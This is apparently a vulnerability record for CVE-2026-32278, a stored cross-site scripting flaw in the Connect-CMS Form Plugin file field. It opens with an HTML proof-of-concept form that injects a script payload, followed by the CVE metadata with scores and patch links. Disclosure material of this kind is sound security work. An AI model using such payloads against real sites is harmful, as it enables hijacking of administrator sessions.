CVE-2026-32278

<!-- PoC for CVE-2026-32278 Stored XSS --> <!-- Target: Connect-CMS Form Plugin File Field --> <form action="http://target-cms/path/to/form/submit" method="POST"> <!-- Inject payload into the file field or file name --> <input type="text" name="form_fields[file_field]" value=""><script>alert('XSS');</script>"> <input type="submit" value="Submit Form"> </form> <!-- Note: The actual parameter name may vary depending on the form configuration --> <!-- Trigger: Admin views the submitted form entry -->

{"cve": {"id": "CVE-2026-32278", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:27.443", "lastModified": "2026-03-24T20:27:19.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, a Stored Cross-site Scripting (XSS) issue exists in the file field of the Form Plugin. Versions 1.41.1 and 2.41.1 contain a patch."}, {"lang": "es", "value": "Connect-CMS es un sistema de gestión de contenido. En las versiones de la serie 1.x hasta la 1.41.0 inclusive y en las versiones de la serie 2.x hasta la 2.41.0 inclusive, existe un problema de cross-site scripting (XSS) almacenado en el campo de archivo del Plugin de Formulario. Las versiones 1.41.1 y 2.41.1 contienen un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensource-workshop:connect-cms:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.41.1", "matchCriteriaId": "60B8BBDF-82BD-486D-AE17-7F59360E62C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opensource-workshop:connect-cms:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.41.1", "matchCriteriaId": "0C11B4F0-DF29-473A-A285-9DA152DDCDE1"}]}]}], "references": [{"url": "https://github.com/opensource-workshop/connect-cms/commit/9d87fe8ecf7f57efbb0e5231be058807734c96b3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v1.41.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v2.41.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opensource-workshop/connect-cms/security/advisories/GHSA-mv3p-7p89-wq9p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}